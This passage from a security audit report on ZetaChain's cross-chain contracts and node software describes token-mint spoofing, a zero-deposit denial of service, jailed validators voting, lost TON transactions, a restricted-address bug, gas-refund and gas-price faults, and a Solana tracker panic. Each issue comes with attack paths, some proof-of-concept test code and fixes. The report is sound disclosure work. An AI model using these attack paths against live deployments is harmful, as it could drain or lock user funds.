) -> Result<()> {
    verify_payload_size(None, &revert_options)?;
    let token = &ctx.accounts.token_program;
    let from = &ctx.accounts.from;

    let pda = &mut ctx.accounts.pda;
    require(!pda.deposit_paused, Errors::DepositPaused);
    require!(receiver != [0u8; 20], Errors::EmptyReceiver);

    let cpi_context = CpiContext::new(
        ctx.accounts.system_program.to_account_info(),
        system_program::Transfer {
            from: ctx.accounts.signer.to_account_info().clone(),
            to: pda.to_account_info().clone(),
        },
    );
    system_program::transfer(cpi_context, deposit_fee)?;

    let pda_ata = get_associated_token_address(&ctx.accounts.pda.key(), &from.mint);
    require!(
        pda_ata == ctx.accounts.to.to_account_info().key(),
        Errors::DepositToAddressMismatch
    );

    let xfer_ctx = CpiContext::new(
        token.to_account_info(),
        anchor_spl::token::Transfer {
            from: ctx.accounts.from.to_account_info(),
            to: ctx.accounts.to.to_account_info(),
            authority: ctx.accounts.signer.to_account_info(),
        },
    );
    transfer(xfer_ctx, amount)?;

    msg!(
        "Deposit SPL executed: amount = {}, fee = {}, receiver = {:?}, pda =
↪ {}, mint = {}, revert options = {:?}"
        amount,
        deposit_fee,
        receiver,
        ctx.accounts.pda.key(),
        ctx.accounts.mint_account.key(),
        revert_options
    );

    Ok(())
}

```

The logic sets `let token = &ctx.accounts.token_program;`, then fetches the `pda_ata` via

let pda_ata = get_associated_token_address(&ctx.accounts.pda.key(), &from.mint);
after which it does a cip_conrxt transfer like below

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain/blob/main/protocol-contracts-solana/programs/gateway/src/instructions/deposit.rs#L98-L106>

```
let xfer_ctx = CpiContext::new(
    token.to_account_info(),
    anchor_spl::token::Transfer {
        from: ctx.accounts.from.to_account_info(),
        to: ctx.accounts.to.to_account_info(),
        authority: ctx.accounts.signer.to_account_info(),
    }, //@audit no freeze authority check too for if pda_ata is frozen before
    ↪ transfer.
);
transfer(xfer_ctx, amount)?;
```

here the token being transferred is token or ctx.accounts.token_program. the pda_ata of the program is checked to be same as one generated for the from.mint account representing the token.

token_program, from.mint and to.mint can actually represent the same token while mint_account may not. if token_program, from.mint and to.mint represent same token the token transfer will be successful. if mint_account represents another whitelisted token, the whitelist check will succeed too.

4. After the deposit is processed, the ZetaChain node observes the transaction and extracts the deposit information:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain/blob/main/node/zetaclient/chains/solana/observer/inbound.go#L224-L251>

```
// In FilterInboundEvents function
↪ (node/zetaclient/chains/solana/observer/inbound.go)
deposit, err := solanacontracts.ParseInboundAsDepositSPL(tx, i, txResult.Slot)
if err != nil {
    return nil, errors.Wrap(err, "error ParseInboundAsDepositSPL")
} else if deposit != nil {
    seenDepositSPL = true
    events = append(events, &clienttypes.InboundEvent{
        // ... other fields ...
        CoinType: coin.CoinType_ERC20,
        Asset:     deposit.Asset, // This is the mint address from the transaction
        // ... other fields ...
    })
}
```

After this, the parsing is done here

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain/blob/main/node/pkg/contracts/solana/inbound.go#L134-L146>

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain/blob/main/node/pkg/contracts/solana/inbound.go#L149-L173>

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain/blob/main/node/pkg/contracts/solana/inbound.go#L312-L333>

5. The node extracts the SPL token mint address from the instruction accounts:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain/blob/main/node/pkg/contracts/solana/inbound.go#L329-L338>

```
// In getSignerAndSPLFromDepositSPLAccounts function
↳ (node/pkg/contracts/solana/inbound.go)
// the accounts are [signer, pda, whitelist_entry, mint_account, token_program,
↳ from, to]
signer := instructionAccounts[0].PublicKey.String()
spl := instructionAccounts[3].PublicKey.String() // This is the mint_account from
↳ the transaction

return signer, spl, nil
```

The issue is that the `handle_spl` function does not verify that the token in the user's from account matches the mint address specified in the transaction context. The Anchor framework ensures that a whitelist entry exists for the provided `mint_account`, but there's no check to ensure that the token being transferred has the same mint.

The `mint_account` is THEN taken as the `spl` token account and is returned by `getSignerAndSPLFromDepositSPLAccounts`. this is then returned as the asset deposited in `parseAsDepositSPL()`

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain/blob/main/node/pkg/contracts/solana/inbound.go#L170-L186>

```
sender, spl, err := getSignerAndSPLFromDepositSPLAccounts(tx, &instruction)
if err != nil {
    return nil, err
}

receiver, err := parseReceiver(inst.Receiver)
if err != nil {
    return nil, err
}

return &Inbound{
    Sender:    sender,
    Receiver:  receiver,
    Amount:    inst.Amount,
    Memo:      []byte{},
    Slot:      slot,
```

```
Asset:          spl, // <-- see here this is mint_account, may not be the
→ token program or from.mint transferred
```

Internal Pre-conditions

1. The Gateway program has a whitelist mechanism for SPL tokens, implemented through the `whitelist_entry` account in the `DepositSplToken` context.
2. Multiple tokens have been whitelisted in the system (e.g., USDC and WETH).
3. The `handle_spl` function is called with a token program and mint account that should be checked for consistency.
4. The node processes SPL token deposits by extracting the mint address from the transaction context, not from the actual token being transferred.

External Pre-conditions

none

Attack Path

1. An attacker identifies two whitelisted tokens in the system, for example, USDC and WETH.
2. The attacker creates a transaction that includes:
 - A legitimate whitelisted token's mint address (e.g., WETH) in the `mint_account` field
 - The corresponding whitelist entry for WETH
 - But actually transfers a different token (e.g., USDC) from their `from` account to the `to` account which is the program `pda_ata`. already created since USDC is whitelisted
3. The `handle_spl` function does not verify that the token being transferred matches the mint address specified in the transaction.
4. The transaction is processed successfully, and the log message emits information that a WETH deposit was made, even though USDC was actually transferred.
5. The ZetaChain node observes this transaction and processes it as a WETH deposit based on the mint address in the transaction context.
6. This results in a mismatch between the actual token deposited (USDC) and what the system records and processes (WETH), potentially leading to incorrect asset transfers and accounting.

Impact

1. **Token Spoofing:** Attackers can deposit one token (e.g., USDC) while making the system believe they deposited another token (e.g., WETH).
2. **Cross-Chain Asset Mismatch:** The ZetaChain node will process the deposit based on the mint address in the transaction, not the actual token being transferred, potentially leading to incorrect asset transfers on the ZetaChain side.
3. **Economic Damage:** If the value of the spoofed token is different from the actual token being transferred, this could lead to economic damage or exploitation of the protocol.
4. **Protocol Inconsistency:** The mismatch between the actual token deposited and what the system records could lead to inconsistencies in the protocol state.

Mitigation

1. **Implement Token Validation:** Add explicit validation in the `handle_spl` function to ensure the token being deposited matches the mint address specified in the transaction:

```
pub fn handle_spl(
    ctx: Context<DepositSplToken>,
    amount: u64,
    receiver: [u8; 20],
    revert_options: Option<RevertOptions>,
    deposit_fee: u64,
) -> Result<()> {
    verify_payload_size(None, &revert_options)?;

    // Ensure the token being deposited matches the mint address in the transaction
    require!(
        ctx.accounts.from.mint == ctx.accounts.mint_account.key(),
        Errors::TokenMintMismatch
    );

    let token = &ctx.accounts.token_program;
    let from = &ctx.accounts.from;

    // ... rest of the function ...
}
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
<https://github.com/zeta-chain/protocol-contracts-solana/pull/114>

gjaldon

The mint of the from token account is now validated against the mint_account in the signed payload.

Issue M-1: User is able to DOS and grief node by repeatedly calling deposit

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/45>

Found by

BrothersInCode, g

Summary

Description

Any user can initiate a deposit on the SUI network by calling the `gateway.move::deposit` function:

```
public entry fun deposit<T>(
    gateway: &mut Gateway,
    coin: Coin<T>,
    receiver: String,
    ctx: &mut TxContext,
) {
    let amount = coin.value();
    let coin_name = coin_name<T>();

    check_receiver_and_deposit_to_vault(gateway, coin, receiver);

    // Emit deposit event
    event::emit(DepositEvent {
        coin_type: coin_name,
        amount: amount,
        sender: tx_context::sender(ctx),
        receiver: receiver,
    });
}
```

This function in turn calls `check_receiver_and_deposit_to_vault`:

```
// Validates receiver and deposits the coin into the vault
fun check_receiver_and_deposit_to_vault<T>(gateway: &mut Gateway, coin: Coin<T>,
↪ receiver: String) {
    assert!(receiver.length() == ReceiverAddressLength, EInvalidReceiverAddress);
    assert!(is_whitelisted<T>(gateway), ENotWhitelisted);
    assert!(!gateway.deposit_paused, EDepositPaused);
```

```
// Perform the deposit
let coin_name = coin_name<T>();
let vault = bag::borrow_mut<String, Vault<T>>(&mut gateway.vaults, coin_name);
balance::join(&mut vault.balance, coin.into_balance());
}
```

This helper function performs a series of checks, including:

- Verifying the receiver address format
- Checking that the coin type is whitelisted
- Ensuring that deposits are not currently paused

However, SUI's deposit flow does not perform a minimum deposit amount/fee check.

Note that in all of the other implementations (EVM, Solana, TON) these checks are correctly performed.

Root Cause

The root cause of this issue is that there is no minimum amount/fee check enforced inside the following function

Internal Pre-conditions

None

External Pre-conditions

None

Attack Path

1. Any user can call `gateway.move::deposit` with coin amount set to 0 or a negligible amount
2. User repeats this as many times as he wants

Impact

There are several impacts here:

- Without a minimum amount or fee requirement, users can submit empty or negligible-value deposits, which will overwhelm the node's processing logic which in turn will drain the nodes' funds and cause a potential DOS.

- SUI's nodes have a maximum event processing limit of 50. A malicious user could exploit this by spamming deposit transactions, quickly hitting the limit with their own events and easily causing DOS for other users

PoC

- Paste the following test-function inside `gateway_tests.move`:

```
#[test]
fun test_deposit_zero_amount() {
    let mut scenario = ts::begin(@0xA);
    setup(&mut scenario);

    ts::next_tx(&mut scenario, @0xA);
    {
        let mut gateway = scenario.take_shared<Gateway>();
        let admin_cap = ts::take_from_address<AdminCap>(&scenario, @0xA);

        let coin = coin::mint_for_testing<SUI>(0, scenario.ctx()); // deposit 0
        ↪ amount
        let eth_addr = ValidEthAddr.to_string().to_ascii();

        deposit(&mut gateway, coin, eth_addr, scenario.ctx());

        ts::return_to_address(@0xA, admin_cap);
        ts::return_shared(gateway);
    };
    ts::end(scenario);
}
```

- run `sui move test test_deposit_zero_amount`
- Logs:

```
Running Move unit tests
[ PASS    ] gateway::gateway_tests::test_deposit_zero_amount
Test result: OK. Total tests: 1; passed: 1; failed: 0
```

Mitigation

Ensure that users are not able to perform empty deposit calls.

Issue M-2: Jailed validators are able to participate in voting

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/46>

Found by

BrothersInCode, forgebyola

Description

When voting on an inbound or outbound ballot, the following check is performed:

```
func (k Keeper) VoteOnInboundBallot(
    ctx sdk.Context,
    senderChainID int64,
    receiverChainID int64,
    coinType coin.CoinType,
    voter string,
    ballotIndex string,
    inboundHash string,
) (isFinalized bool, isNew bool, err error) {
    // ... code

    // Ensure the voter is an active (non-tombstoned) observer
    if ok := k.IsNonTombstonedObserver(ctx, voter); !ok {
        return false, false, types.ErrNotObserver
    }

    // ... code
}
```

This prevents tombstoned validators from voting on the observation chain. However, the current logic does **not** prevent jailed validators from voting.

In contrast, a jailed check is correctly performed during observer updates:

```
func (k msgServer) UpdateObserver(
    goCtx context.Context,
    msg *types.MsgUpdateObserver,
) (*types.MsgUpdateObserverResponse, error) {
    // ... code

    // New observer must be a bonded, non-jailed validator
    err = k.IsValidator(ctx, msg.NewObserverAddress)
    if err != nil {
```

```
        return nil, errorsmod.Wrap(types.ErrUpdateObserver, err.Error())
    }
}
```

Within `IsValidator`:

```
if validator.Jailed || !validator.IsBonded() {
    return types.ErrValidatorStatus
}
```

This ensures that only active, non-jailed validators can be assigned as observers.

Impact

Since no such check exists during voting, jailed validators are still able to vote, even though they may have misbehaved.

Recommendation

Add a jailed validator check during the voting process to ensure that only bonded and non-jailed validators are allowed to vote.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:

<https://github.com/zeta-chain/node/pull/3917>

gjaldon

The issue has been fixed by replacing all instances of `IsNonTombstonedObserver()` with `CheckObserverCanVote()`, which also checks if a validator is jailed.

Issue M-3: TON transactions risk being lost due to flawed transaction handling

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/73>

Found by

0x73696d616f, BrothersInCode

Description

Inside the `ton::inbound.go::ObserveInbound` function, transactions are fetched using the following code:

```
txs, err := ob.client.GetTransactionsSince(ctx, ob.gateway.AccountID(), lt,
    ↪ hashBits)
if err != nil {
    return errors.Wrap(err, "unable to get transactions")
}
```

The `GetTransactionsSince` method retrieves transactions, populating the `txs` array, beginning with **most recent to oldest**, which aligns with how the TON Lite API operates:

```
// Note: TON Lite API returns transactions from latest to oldest.
// We retrieve up to `pageSize` transactions per call.
txs, err := c.GetTransactions(ctx, pageSize, acc, lt, hashBits)
if err != nil {
    return nil, errors.Wrapf(err, "unable to get transactions [lt %d, hash %s]",
    ↪ lt, hashBits.Hex())
}
```

Here, `pageSize` is set to 200.

```
pageSize    = 200
```

If the last scanned transaction is found in the retrieved `txs`, the function exits early without reversing the list. As a result, the transactions are processed starting from the **most recent to oldest**.

```
for i := range txs {
    found := txs[i].Lt == oldestLT && txs[i].Hash() == tlb.Bits256(oldestHash)
    if !found {
        continue
    }
}
```



```

    }

    // early exit
    result = append(result, txs[:i]...)

    return result, nil
}

```

When exiting early and processing without reversing, `ObserveInbound` continues with this logic:

```

case len(txs) > maxTransactionsPerTick:
    ob.Logger().Inbound.Info().
        Msgf("observeGateway: got %d transactions. Taking first %d", len(txs),
↪ maxTransactionsPerTick)

    txs = txs[:maxTransactionsPerTick]

```

```
maxTransactionsPerTick = 100
```

If more than `maxTransactionsPerTick` transactions are returned—which is possible given the `pageSize` is set to 200—only the **first 100 transactions** are processed. Because of the way the transactions are ordered, only the 100 most recent ones will be processed.

Impact

As a result, The next time `ObserveInbound` runs, it will **skip over the older transactions** that were previously unprocessed due to the `maxTransactionsPerTick` limit because `setLastScannedTx` points to a newer transaction, causing the previously skipped older ones to be bypassed entirely and never be processed causing loss of funds.

POC

- `LastScannedTx` is set to `tx=0`
- `GetTransactionsSince` retrieves 200 transactions, ordered from **newest to oldest**.
- During processing, the last scanned transaction (`tx=0`) is found at the **130th position**, so the function returns early without reversing the list.
- Since `130 > maxTransactionPerTick`, only the **first 100 transactions** (i.e., the most recent ones) are processed.
 - In this example, it will be transaction 30..130
- At the end of `ObserveInbound`, the pointer will be set to 130

- This means that, in the next round of `ObserveInbound`, transactions will be fetched from 130 . . and thus, the transactions 0 . . 29 will never be executed.
- This is a total loss of funds for the users that submitted those transactions.

Recommendation

Ensure that users do not risk losing their funds when interacting with the TON implementation.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
<https://github.com/zeta-chain/node/pull/3958>

gjaldon

The early exit case in `GetTransactionsSince()` now reverses the order of the results and fixes the issue.

Issue M-4: Restricted addresses are still able to use Zetachain due to faulty update

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/79>

Found by

0x73696d616f

Summary

Zetachain has a restricted address list that stops inbounds from going through, [link](#).

However, the restricted addresses book is not correctly set when it is updated later in a config file. [Here](#) a watcher is set to update the list when the file is updated. `config.go::loadRestrictedAddressesConfig()` is called with the **old** config and the file to update the addresses list from.

`config.go::loadRestrictedAddressesConfig()` shows that the new addresses fetched from the file are never used, and the old config is used to set the restricted addresses, confirming that these addresses are not updated.

```
func loadRestrictedAddressesConfig(cfg Config, file string) error {
    input, err := os.ReadFile(file) // #nosec G304
    if err != nil {
        return errors.Wrapf(err, "reading file %s", file)
    }
    addresses := []string{}
    err = json.Unmarshal(input, &addresses)
    if err != nil {
        return errors.Wrap(err, "invalid json")
    }

    restrictedAddressBookLock.Lock()
    defer restrictedAddressBookLock.Unlock()

    // Clear the existing map, load addresses from main config, then load addresses
    // from dedicated config file
    SetRestrictedAddressesFromConfig(cfg)
    for _, addr := range cfg.ComplianceConfig.RestrictedAddresses {
        restrictedAddressBook[strings.ToLower(addr)] = true
    }
    return nil
}
```

This will lead to catastrophic consequences as an attacker will not be blacklisted when they should and is able to exploit Zetachain how much they want. Essentially, this renders the blacklist mechanism useless and access control can be circumvented.

Root Cause

In `node/zetaclient/config/config.go:111`, the new restricted addresses from the file are not used.

Internal Pre-conditions

None.

External Pre-conditions

None.

Attack Path

1. User is restricted by changing the config file by the nodes, but it won't apply and the user will not be blacklisted.

Impact

Attacker can circumvent restricted address access control and keep using the SUI/EVM gateways.

PoC

See above.

Mitigation

Iterate through the new addresses fetched from the file to set the `restrictedAddressBook` map instead of using the old, stale config.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
<https://github.com/zeta-chain/node/pull/3971>

gjaldon

The restricted addresses from the loaded file are now being used.

Issue M-5: SUI TSS drained due to lack of refund when the `withdraw/withdraw_and_call()` PTB fails

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/80>

This issue has been acknowledged by the team but won't be fixed at this time.

Found by

0x73696d616f, BrothersInCode

Summary

Firstly, SUI PTBs or 'Programmable Transaction Blocks' are atomic, that is, whenever a transaction in the bundle reverts, the whole bundle fails

If one transaction command fails, the entire block fails and no effects from the commands are applied.

The `withdraw_and_call()` mechanism on SUI, relies on a PTB consisting of a withdrawal and a `on_call()` function bundled together, [link](#)

a `withdrawAndCall` is a PTB transaction that contains a `withdraw_impl` call and a `on_call` call

The `withdraw()` function, used to refund the gas paid to the gateway, directly transfers it as the first tx of the PTB:

Given these statements, it becomes clear that whenever the PTB fails on the `on_call()` step, the first `withdraw()` tx will also fail, and the gateway (TSS signer) doesn't get refunded, while having paid for the gas fees. This may happen without the failure on the node being caught when simulating the tx because on chain conditions on simulation and when it settles may be different (and can forcibly be different by an attacker frontrunning).

Root Cause

In `node/zetaclient/chains/sui/signer/signer_tx.go`, `withdraw_and_call` PTB will make the gateway run out of funds.

Internal Pre-conditions

None.

External Pre-conditions

None.

Attack Path

1. User sends a cross chain withdrawal to SUI, triggering the `on_call()` tx that reverts.
2. The node signs and sends the PTB, and at this point the tx in 1 doesn't revert (diff on chain conditions).
3. The `withdraw()` tx goes through, but `on_call()` reverts, so the whole PTB is aborted and the gateway loses gas fees without getting refunded.

Impact

TSS funds leak leading to insolvency and DoSed nodes.

PoC

See above.

Mitigation

Gas refund should be performed in a separate PTB so the TSS signer in the node always gets their gas refund.

Issue M-6: Wrong postGasPrice() implementation can lead to loss of funds

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/84>

Found by

0x73696d616f, BrothersInCode

Description

In Sui's implementation, the gas price is committed to memory before posting it and before running validation on the gas price.

Before showing the code of Sui's implementation, it will make more sense if we look at the implementation of Ton, which is the correct way of implementing it.

In `ton/observer/observer.go::PostGasPrice()` :

<https://github.com/zeta-chain/node/blob/835341df556faefeb450770cceb6f959be4f32cc/zetaclient/chains/ton/observer/observer.go#L75>

```
func (ob *Observer) PostGasPrice(ctx context.Context) error {
//.. ommitted code
    _, err = ob.ZetacoreClient().PostVoteGasPrice(ctx, ob.Chain(), gasPrice,
↪ priorityFee, blockNum)
    if err != nil {
        return errors.Wrap(err, "failed to post gas price")
    }

    ob.setLatestGasPrice(gasPrice)
//.. ommitted code
}
```

We can see that the gas price is **first** validated and voted on in `PostVoteGasPrice()` . If an error occurs in `PostVoteGasPrice()`, the function returns.

If it does not error, `gasPrice` will be set in memory using `ob.setLatestGasPrice()`

This is the correct way of implementing it.

Now, let's take a look at Sui's implementation. If we take a look at `sui/observer/observer.go::PostGasPrice()` :

```
func (ob *Observer) PostGasPrice(ctx context.Context) error {
//.. ommitted code
    ob.setLatestGasPrice(gasPrice)
```



```

_, err = ob.ZetacoreClient().PostVoteGasPrice(ctx, ob.Chain(), gasPrice,
↪ priorityFee, epochNum)
if err != nil {
    return errors.Wrap(err, "unable to post vote for gas price")
}
//.. ommitted code
}

```

As we can see, the gasPrice is set in memory **before** PostVoteGasPrice(). This means that when PostVoteGasPrice() fails, the memory will be pointing to an invalid gasPrice.

This invalid gasPrice will be used in Sui's implementation VoteOutbound:

```

func (ob *Observer) VoteOutbound(ctx context.Context, cctx *cctypes.CrossChainTx)
↪ error {
//.. ommitted code
    outboundGasPrice := math.NewInt(int64(ob.getLatestGasPrice()))
//.. ommitted code
}

```

As such, outbound votes can be made with invalid gas parameters, leading to the honest validator performing slashable behavior which in turns can lead to loss of funds.

Proof of Concept

- Alice calls the periodic PostGasPrice() function.
- Alice sets the current_gas_price to X
- When passing X to PostVoteGasPrice(), it errors and does not post the gas price, returning the PostGrasPrice()
- However, the current_gas_price is set to X , which has not been voted on by other observers.
- Alice will use this gas price in VoteOutbound , which leads to slashable behavior since these are parameters not voted on, which can lead to funds lost.
- Furthermore, this can lead undefined behavior depending on the gas price used. Issues like these trickle down and can impact other facets of the zetaclient node.
- The gas price must match across the active observer set for the vote to count toward consensus. This is why gas prices are pre-agreed upon through MsgVoteGasPrice so when observers report the outbound, they're all expected to use the same gas price, ensuring determinism in fee logic, swaps, and minting.

Recommendation

Only set the gas price after it has been posted & validated, just like done on the Ton implementation.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
<https://github.com/zeta-chain/node/pull/3967>

gjaldon

The gas price is set only after voting on the gas price to fix the issue.

Issue M-7: Add/remove authorization messages are not usable due to missing registration

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/89>

Found by

0xAlix2

Summary

In Cosmos SDK modules, `codec.go` is responsible for registering all message and interface types with both the Amino codec and the Protobuf interface registry. Every module message must be registered in both `RegisterInterfaces` and `RegisterCodec` (if legacy Amino support is required). This registration enables the Cosmos SDK to correctly decode incoming messages and route them to the appropriate `MsgServer` handlers.

The `node/x/authority` module defines five message handlers in its `MsgServer`: `UpdatePolicies`, `UpdateChainInfo`, `RemoveChainInfo`, `AddAuthorization`, and `RemoveAuthorization`. However, the `AddAuthorization` and `RemoveAuthorization` messages are missing from both `RegisterInterfaces` and `RegisterCodec`.

As a result, these messages are unusable.

`codec.go`:

```
func RegisterCodec(cdc *codec.LegacyAmino) {
    cdc.RegisterConcrete(&MsgUpdatePolicies{}, "authority/UpdatePolicies", nil)
    cdc.RegisterConcrete(&MsgUpdateChainInfo{}, "authority/UpdateChainInfo", nil)
    cdc.RegisterConcrete(&MsgRemoveChainInfo{}, "authority/RemoveChainInfo", nil)
}

func RegisterInterfaces(registry cdctypes.InterfaceRegistry) {
    registry.RegisterImplementations((*sdk.Msg)(nil),
        &MsgUpdatePolicies{},
        &MsgUpdateChainInfo{},
        &MsgRemoveChainInfo{},
    )

    msgservice.RegisterMsgServiceDesc(registry, &_amp;_Msg_serviceDesc)
}
```

Root Cause

The `AddAuthorization` and `RemoveAuthorization` message types are missing from both registration functions in `codec.go`.

Internal Pre-conditions

N/A

External Pre-conditions

N/A

Attack Path

N/A

Impact

Any transaction attempting to call `MsgAddAuthorization` or `MsgRemoveAuthorization` will fail to be decoded or routed, rendering these messages completely unusable via CLI, gRPC, or transactions.

Proof of Concept

N/A

Mitigation

Add the missing message types to `RegisterCodec` and `RegisterInterfaces` in `node/x/authority/types/codec.go`:

```
func RegisterCodec(cdc *codec.LegacyAmino) {
    cdc.RegisterConcrete(&MsgUpdatePolicies{}, "authority/UpdatePolicies", nil)
    cdc.RegisterConcrete(&MsgUpdateChainInfo{}, "authority/UpdateChainInfo", nil)
    cdc.RegisterConcrete(&MsgRemoveChainInfo{}, "authority/RemoveChainInfo", nil)
+   cdc.RegisterConcrete(&MsgAddAuthorization{}, "authority/AddAuthorization", nil)
+   cdc.RegisterConcrete(&MsgRemoveAuthorization{},
    ↪ "authority/RemoveAuthorization", nil)
}

func RegisterInterfaces(registry cdctypes.InterfaceRegistry) {
    registry.RegisterImplementations((*sdk.Msg)(nil),
        &MsgUpdatePolicies{},
```

```
        &MsgUpdateChainInfo{},
        &MsgRemoveChainInfo{},
+       &MsgAddAuthorization{},
+       &MsgRemoveAuthorization{},
    )

    msgservice.RegisterMsgServiceDesc(registry, &_Msg_serviceDesc)
}
```

This ensures the messages can be decoded, routed, and executed properly within the Cosmos SDK framework.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
<https://github.com/zeta-chain/node/pull/3959>

gjaldon

Added the missing codecs to RegisterCodec() and RegisterInterfaces().

Issue M-8: Malicious observer can block messages added through the inbound tracker

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/100>

Found by

Oxalpharush

Summary

Zetaclient stops processing the inbound tracker indefinitely after a panic caused by parsing transaction signatures greater than 64 bytes with `MustSignatureFromBase58`. This causes following inbound messages to not be processed, leaving deposits that are processed via the inbound tracker blocked indefinitely. While this requires a "privileged" role, every validator is an observer and BFT consensus is supposed to be byzantine tolerant i.e. tolerate $<1/3$ malicious parties. Thus, one malicious observer should not be able to cause panics that prevent processing inbound Solana cross-chain transactions via the inbound tracker, trapping user funds.

Root Cause

The Zetaclient task, `process_inbound_trackers`, stops indefinitely after panicking due to parsing a transaction signature greater than 64 bytes with `MustSignatureFromBase58`. This can be caused by sending an invalid `MsgAddInboundTracker` as its `ValidateBasic` implementation does not ensure Solana tx hashes are exactly 64 bytes. This blocks all future `MsgAddInboundTracker` messages, and, even upon restarting Zetaclient, a malicious observer can immediately send another `MsgAddInboundTracker` message to crash Zetaclient. Patching `ValidateBasic` is app-hash breaking and funds will remain locked in the bridge without the corresponding mint if using `MsgAddInboundTracker` is required to process the cross-chain transaction. Thus, this qualifies as a denial of service vector.

Internal Pre-conditions

1. The Zetaclient task, `process_inbound_trackers`, processes the malicious message from the inbound tracker and crashes when it parses the tx has with `MustSignatureFromBase58`.
2. The panic recovery does not keep the task running following a panic as `defer t.setStopState()` also runs when a panic occurs, permanently stopping the task. This is clear by the log `"Ticker stopped"` which indicates `defer t.setStopState` ran and will not restart the task until the Zetaclient process is restarted.

External Pre-conditions

1. A malicious observer sends a MsgAddInboundTracker with an invalid tx hash for the Solana chain.
2. Another observer tries to add a Solana, cross-chain transaction to the inbound tracker and it's unable to be processed by other validators.

Attack Path

1. A malicious observer sends a MsgAddInboundTracker with an invalid tx hash for the Solana chain.
2. The Zetaclient task, process_inbound_trackers, process the malicious message from the inbound tracker and crashes when it parses the tx has with MustSignatureFromBase58.
3. Pending deposits that need to be processed via inbound tracker are effectively blocked as validating and voting on inbound CCTX received via the inbound tracker has stopped.

Impact

New messages cannot be process through the inbound tracker without patching the issue. This means deposited funds would be stuck and users would not receive refunds or the assets they expected to mint indefinitely.

PoC

To exercise the inbound tracker, we must first patch the solana observer's ObserveInbound method as is done to test the inbound tracker for the EVM. This simulates the functionality of adding a tx hash that was missed by the observers as the feature is intended to be used.

- 1) Apply the diff containing the POC test to `node/`.
- 2) Run `E2E_ARGS='--verbose --test-filter solana' make start-solana-test`
- 3) Observe the logs of the zetaclients and orchestrator: `docker logs orchestrator --follow, docker logs zetaclient0 --follow, docker logs zetaclient1 --follow`. These are attached in the gist for reference.
- 4) We will notice the zetaclients panics and shuts down the inbound processor task, and, as a result, the test will be unable to process new messages via the inbound tracker with the error, `Error getting cctx by inboundHash: rpc error: code = NotFound desc = not found`. This indicates that inbound messages cannot be processed until the validators are upgraded to be robust against this DOS vector.

Mitigation

Modify `MsgAddInboundTracker's ValidateBasic` implementation to ensure Solana tx hashes are exactly 64 bytes and that they only contain base58 characters. One reason to prefer this change is that a malicious observer could send very large base58 encoded strings as the tx hash currently, and that would stall zetaclient as base58 decoding is very slow. Enforcing the length to be valid addresses both DOS vectors.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
<https://github.com/zeta-chain/node/pull/3895>

Issue M-9: Incorrect Formate for transaction building, and transaction executions In Solana will lead to revert all execute Operations.

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/113>

This issue has been acknowledged by the team but won't be fixed at this time.

Found by

Al-Qa-qa

Affected Code

- <https://github.com/zeta-chain/node/blob/a32ffd88ea9957c8f3424466bb358b4197d41889/zetaclient/chains/solana/signer/execute.go#L88-L89>

Description

When creating Execute Function in Solana, The Account structure us making destination_program with no mut flag (non-writable), and destination_program_pda with mut flag (writable)

programs/gateway/src/contexts.rs#Execute

```
pub struct Execute<'info> {
    ...
    pub signer: Signer<'info>,
    ...
    pub pda: Account<'info, Pda>,

    /// The destination program.
    /// CHECK: This is arbitrary program.
>> pub destination_program: AccountInfo<'info>,
    ...
    #[account(
>>     mut,
        ....
    )]
>> pub destination_program_pda: UncheckedAccount<'info>,
}
```

But when constructing the tx by Solana Nodes, they are doing the reverse, by making the `destination_program` as writable and `destination_program_pda` as non-writable

`node/zetaclient/chains/solana/signer/execute.go#createExecuteInstruction`

```
predefinedAccounts := []*solana.AccountMeta{
    solana.Meta(signer.relayerKey.PublicKey()).WRITE().SIGNER(),
    solana.Meta(signer.pda).WRITE(),
    solana.Meta(msg.To()).WRITE(), <<-----
    solana.Meta(destinationProgramPda), <<-----
}
```

This will result in All transactions gets reverted, as the pda account is the account designed to be changed in the execution of `on_call` and this can be seen clearly in example folders

`programs/examples/connected/src/lib.rs#on_call`

```
pub fn on_call( ... ) -> Result<()> {
>>     let pda = &mut ctx.accounts.pda;

        // Store the sender's public key
>>     pda.last_sender = sender;

        // Convert data to a string and store it
        let message = String::from_utf8(data).map_err(|_|
↳     ErrorCode::InvalidDataFormat)?;
>>     pda.last_message = message;

        // Transfer some portion of lamports transferred from gateway to another
↳     account
>>     pda.sub_lamports(amount / 2)?;
}
```

`Destination_PDA` is the trusted account, that Cross Chain Apps depend on changing it. But as all Relay txs are signed either in `execute` function, do not make it as writable, most of `execute` signed txs by the Node Relayers will get reverted as it will try to write on unwritable account leading to revert in execution

Recommendations

- in `execute.go` remove `WRITE` from `msg.To`, which is the `destination_program`, and it it to `destinationProgramPda`

```
diff --git a/node/zetaclient/chains/solana/signer/execute.go
↳ b/node/zetaclient/chains/solana/signer/execute.go
index daf4009..5fa0b31 100644
--- a/node/zetaclient/chains/solana/signer/execute.go
```

```

+++ b/node/zetaclient/chains/solana/signer/execute.go
@@ -85,8 +85,8 @@ func (signer *Signer) createExecuteInstruction(msg
↪ contracts.MsgExecute) (*solana
    predefinedAccounts := []*solana.AccountMeta{
